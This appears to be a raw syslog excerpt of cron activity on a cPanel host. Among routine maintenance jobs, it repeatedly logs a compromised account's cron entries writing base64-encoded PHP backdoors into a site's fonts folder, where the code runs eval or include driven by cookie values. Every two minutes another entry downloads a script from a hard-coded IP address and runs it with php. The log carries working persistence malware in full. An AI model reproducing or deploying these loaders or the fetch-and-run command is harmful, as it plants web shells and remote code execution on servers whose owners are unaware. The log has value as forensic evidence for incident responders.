Feb 22 21:20:01 ip-184-168-122-23 CROND[871]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Feb 22 21:20:01 ip-184-168-122-23 CROND[872]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Feb 22 21:20:01 ip-184-168-122-23 CROND[868]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Feb 22 21:20:01 ip-184-168-122-23 CROND[869]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 21:20:01 ip-184-168-122-23 CROND[876]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 21:21:01 ip-184-168-122-23 CROND[1212]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 21:21:01 ip-184-168-122-23 CROND[1214]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 21:21:01 ip-184-168-122-23 CROND[1215]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 21:21:01 ip-184-168-122-23 CROND[1216]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 21:22:01 ip-184-168-122-23 CROND[1611]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 21:22:01 ip-184-168-122-23 CROND[1612]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 21:22:01 ip-184-168-122-23 CROND[1614]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 21:22:01 ip-184-168-122-23 CROND[1615]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 21:22:01 ip-184-168-122-23 CROND[1616]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 21:23:01 ip-184-168-122-23 CROND[1964]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 21:23:01 ip-184-168-122-23 CROND[1965]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 21:23:01 ip-184-168-122-23 CROND[1967]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 21:23:01 ip-184-168-122-23 CROND[1969]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 21:24:01 ip-184-168-122-23 CROND[2296]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 21:24:01 ip-184-168-122-23 CROND[2298]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 21:24:01 ip-184-168-122-23 CROND[2300]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 21:24:01 ip-184-168-122-23 CROND[2302]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 21:24:01 ip-184-168-122-23 CROND[2303]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 21:25:01 ip-184-168-122-23 CROND[2618]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 21:25:01 ip-184-168-122-23 CROND[2619]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Feb 22 21:25:01 ip-184-168-122-23 CROND[2621]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Feb 22 21:25:01 ip-184-168-122-23 CROND[2626]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 21:25:01 ip-184-168-122-23 CROND[2629]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 21:25:01 ip-184-168-122-23 CROND[2628]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 21:26:01 ip-184-168-122-23 CROND[2966]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 21:26:01 ip-184-168-122-23 CROND[2967]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 21:26:01 ip-184-168-122-23 CROND[2970]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 21:26:01 ip-184-168-122-23 CROND[2969]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 21:26:01 ip-184-168-122-23 CROND[2971]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 21:27:01 ip-184-168-122-23 CROND[3302]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 21:27:01 ip-184-168-122-23 CROND[3304]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 21:27:01 ip-184-168-122-23 CROND[3305]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 21:27:01 ip-184-168-122-23 CROND[3306]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 21:28:01 ip-184-168-122-23 CROND[3709]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 21:28:01 ip-184-168-122-23 CROND[3711]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 21:28:01 ip-184-168-122-23 CROND[3712]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 21:28:01 ip-184-168-122-23 CROND[3713]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 21:28:01 ip-184-168-122-23 CROND[3714]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 21:29:01 ip-184-168-122-23 CROND[4048]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 21:29:01 ip-184-168-122-23 CROND[4049]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 21:29:01 ip-184-168-122-23 CROND[4052]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 21:29:01 ip-184-168-122-23 CROND[4053]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 21:30:01 ip-184-168-122-23 CROND[4361]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Feb 22 21:30:01 ip-184-168-122-23 CROND[4365]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 21:30:01 ip-184-168-122-23 CROND[4367]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Feb 22 21:30:01 ip-184-168-122-23 CROND[4366]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 21:30:01 ip-184-168-122-23 CROND[4368]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 21:30:01 ip-184-168-122-23 CROND[4363]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 21:30:01 ip-184-168-122-23 CROND[4376]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 21:30:01 ip-184-168-122-23 CROND[4374]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Feb 22 21:31:01 ip-184-168-122-23 CROND[4779]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 21:31:01 ip-184-168-122-23 CROND[4780]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 21:31:01 ip-184-168-122-23 CROND[4783]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 21:31:01 ip-184-168-122-23 CROND[4782]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Feb 22 21:31:01 ip-184-168-122-23 CROND[4784]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 21:32:01 ip-184-168-122-23 CROND[5090]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 21:32:01 ip-184-168-122-23 CROND[5092]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 21:32:01 ip-184-168-122-23 CROND[5091]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 21:32:01 ip-184-168-122-23 CROND[5094]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 21:32:01 ip-184-168-122-23 CROND[5096]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
